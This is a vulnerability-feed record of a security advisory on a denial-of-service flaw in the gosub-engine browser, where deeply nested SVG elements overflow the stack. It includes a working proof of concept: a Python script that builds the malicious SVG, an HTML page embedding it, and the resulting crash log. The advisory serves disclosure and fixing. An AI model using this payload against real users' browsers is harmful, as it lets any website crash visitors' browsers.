{"schema":"threatline.record/2","record":{"id":"GHSA-c762-mxfh-vwvp","aliases":["GHSA-c762-mxfh-vwvp"],"summary":"Denial of Service via Excessive XML Element Nesting","details":"### Summary\r\nThe Gosub browser engine is vulnerable to Denial of Service when processing SVG documents containing an excessive number of nested elements. Trying to render such image causes the browser to fail resulting in application termination.\r\n\r\n### Details\r\nGosub browser engine does not limit the nodes that it processes in the SVG elements (only the file size on tested built limited the resource). When one creates an SVG file that contains excessive nested nodes browser tries to render it resulting in application crash. It is worth to mention that such image can be also included by `<img src=file.svg />` tag allowing the attacker to include it on any website, which does not require an user to directly download a file and open it manually.\r\n\r\nExpected behaviour would be limiting the number of nested nodes that can be processed, before throwing an error. Such pattern is implement in for example chromium engine, where when same image is displayed the following error is thrown:\r\n<img width=\"472\" height=\"150\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2532ef0-cb7a-4dde-b122-e37ba59bf352\" />\r\n\r\nEverything was tested on the `Ubuntu 26.04.1 LTS OS`, on the latest build of the `gosub-io/gosub-engine` repository from `master` branch (latest commit hash `c5b6ee9d69c01e88f5ffea9deb44c181855de9ad`) on the `gtk4-skia` engine preset.\r\n\r\nBelow is a video of working Proof of Concept:\r\n[https://www.youtube.com/watch?v=sqygkBEWJNU](https://www.youtube.com/watch?v=sqygkBEWJNU)\r\n\r\n### PoC\r\nIn order to confirm that vulnerability exists:\r\n1. Prepare and build the latest (the [commit](https://github.com/gosub-io/gosub-engine/tree/c5b6ee9d69c01e88f5ffea9deb44c181855de9ad), where the vulnerability was discovered) version of the repo.\r\n2. Prepare the following python script which generates the malicious SVG file:\r\n```python\r\nimport sys\r\n\r\n\r\ndef build_nested_groups(depth: int, inner_content: str, indent: str = \"          \") -> str:\r\n    if depth < 0:\r\n        raise ValueError(\"depth cannot be negative\")\r\n\r\n    lines = []\r\n    for i in range(depth):\r\n        lines.append(f\"{indent}{'  ' * i}<g>\")\r\n\r\n    lines.append(f\"{indent}{'  ' * depth}{inner_content}\")\r\n\r\n    for i in reversed(range(depth)):\r\n        lines.append(f\"{indent}{'  ' * i}</g>\")\r\n\r\n    return \"\\n\".join(lines)\r\n\r\n\r\ndef generate_nested_svg(depth: int, filename: str = \"test.svg\") -> None:\r\n    if depth < 0:\r\n        raise ValueError(\"Depth of nested <g> elements cannot be negative\")\r\n\r\n    target_rect = (\r\n        '<rect x=\"-120\" y=\"-120\" width=\"240\" height=\"240\" rx=\"30\" '\r\n        'fill=\"none\" stroke=\"url(#cyberGrad)\" stroke-width=\"4\">\\n'\r\n        '  <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"0\" to=\"360\" dur=\"20s\" repeatCount=\"indefinite\" />\\n'\r\n        '</rect>'\r\n    )\r\n\r\n    nested_rect_block = build_nested_groups(depth, target_rect, indent=\"          \")\r\n\r\n    svg_content = f'''<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 800 800\" width=\"100%\" height=\"100%\">\r\n  <defs>\r\n    <radialGradient id=\"bgGrad\" cx=\"50%\" cy=\"50%\" r=\"75%\">\r\n      <stop offset=\"0%\" stop-color=\"#0f172a\" />\r\n      <stop offset=\"100%\" stop-color=\"#020617\" />\r\n    </radialGradient>\r\n    <linearGradient id=\"cyberGrad\" x1=\"0%\" y1=\"0%\" x2=\"100%\" y2=\"100%\">\r\n      <stop offset=\"0%\" stop-color=\"#06b6d4\" />\r\n      <stop offset=\"50%\" stop-color=\"#3b82f6\" />\r\n      <stop offset=\"100%\" stop-color=\"#8b5cf6\" />\r\n    </linearGradient>\r\n    <filter id=\"glow\" x=\"-20%\" y=\"-20%\" width=\"140%\" height=\"140%\">\r\n      <feGaussianBlur stdDeviation=\"8\" result=\"blur\" />\r\n      <feComposite in=\"SourceGraphic\" in2=\"blur\" operator=\"over\" />\r\n    </filter>\r\n  </defs>\r\n\r\n  <rect width=\"800\" height=\"800\" fill=\"url(#bgGrad)\" />\r\n\r\n  <g transform=\"translate(400, 400)\">\r\n    <g filter=\"url(#glow)\">\r\n      <!-- Zewnętrzny pierścień -->\r\n      <circle cx=\"0\" cy=\"0\" r=\"320\" fill=\"none\" stroke=\"url(#cyberGrad)\" stroke-width=\"2\" stroke-dasharray=\"10 15\" opacity=\"0.4\">\r\n        <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"0\" to=\"360\" dur=\"60s\" repeatCount=\"indefinite\" />\r\n      </circle>\r\n\r\n      <g transform=\"scale(0.9)\">\r\n        <polygon points=\"0,-300 259.8,150 -259.8,150\" fill=\"none\" stroke=\"#06b6d4\" stroke-width=\"3\" opacity=\"0.6\">\r\n          <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"360\" to=\"0\" dur=\"40s\" repeatCount=\"indefinite\" />\r\n        </polygon>\r\n        <polygon points=\"0,300 -259.8,-150 259.8,-150\" fill=\"none\" stroke=\"#8b5cf6\" stroke-width=\"3\" opacity=\"0.6\">\r\n          <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"0\" to=\"360\" dur=\"40s\" repeatCount=\"indefinite\" />\r\n        </polygon>\r\n      </g>\r\n\r\n      <g>\r\n        <g>\r\n{nested_rect_block}\r\n          <g>\r\n            <rect x=\"-90\" y=\"-90\" width=\"180\" height=\"180\" rx=\"20\" fill=\"rgba(6, 182, 212, 0.05)\" stroke=\"#3b82f6\" stroke-width=\"2\">\r\n              <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"360\" to=\"0\" dur=\"15s\" repeatCount=\"indefinite\" />\r\n            </rect>\r\n          </g>\r\n        </g>\r\n\r\n        <g transform=\"scale(0.8)\">\r\n          <circle cx=\"0\" cy=\"0\" r=\"60\" fill=\"#020617\" stroke=\"#8b5cf6\" stroke-width=\"4\" />\r\n          <path d=\"M-20,-10 L0,-30 L20,-10 M0,-30 L0,30 M-25,20 L25,20\" fill=\"none\" stroke=\"#06b6d4\" stroke-width=\"5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\r\n        </g>\r\n      </g>\r\n    </g>\r\n  </g>\r\n</svg>\r\n'''\r\n\r\n    try:\r\n        with open(filename, \"w\", encoding=\"utf-8\") as f:\r\n            f.write(svg_content)\r\n        print(f\"[+] Saved {filename} (Depth of nested <g> elements: {depth})\")\r\n    except Exception as e:\r\n        print(f\"[-] Error while saving the file: {e}\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    try:\r\n        target_depth = int(sys.argv[1]) if len(sys.argv) > 1 else 3\r\n        generate_nested_svg(target_depth)\r\n    except ValueError as e:\r\n        print(f\"[-] Invalid argument: {e}\")\r\n        sys.exit(1)\r\n```\r\n4. Run the following command to generate the malicious SVG file (only 2000 nested nodes were created to fit into the 10MB file size limit):\r\n```bash\r\npython3 script.py 2000\r\n```\r\n6. Prepare the local webserver that will contain the malicious SVG and the following HTML website:\r\n```html\r\n<img src=\"test.svg\" />\r\n```\r\n8. Open the browser with the following command:\r\n```bash\r\ncargo run -p example-gtk4-skia\r\n```\r\n10. Visit the malicious website and observe that browser crashes with the following error in the CLI:\r\n```\r\nthread 'media-fetch' (114422) has overflowed its stack\r\nfatal runtime error: stack overflow, aborting\r\nAborted                    (core dumped) cargo run -p example-gtk4-skia\r\n```\r\n\r\n### Impact\r\nVulnerability affects any user that visits the website that includes the malicious SVG file. When one visit such website the browser engine will crash with a stack overflow error, while generating a crash dump file.\r\n","categories":["Unclassified"],"product":"gosub-engine","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/gosub-io/gosub-engine/security/advisories/GHSA-c762-mxfh-vwvp","source_modified_at":"2026-09-26T12:34:09Z","fetched_at":"2026-10-23T18:58:35.272684Z","package":{"ecosystem":"","name":"gosub-engine"},"range":"<= 0.1.0  main before 46868b3"}],"fixed_versions":[],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-26T12:34:09Z","modified_at":"2026-09-26T12:34:09Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/gosub-io/gosub-engine/security/advisories/GHSA-c762-mxfh-vwvp","fetched_at":"2026-10-23T18:58:35.272684Z","source_modified_at":"2026-09-26T12:34:09Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-26T12:34:09Z","content_hash":"5f5546453bdfd14bbb39bd29d336a42cfa6b3aa8ff4a8bbbc373ef77ea3ac553"}}
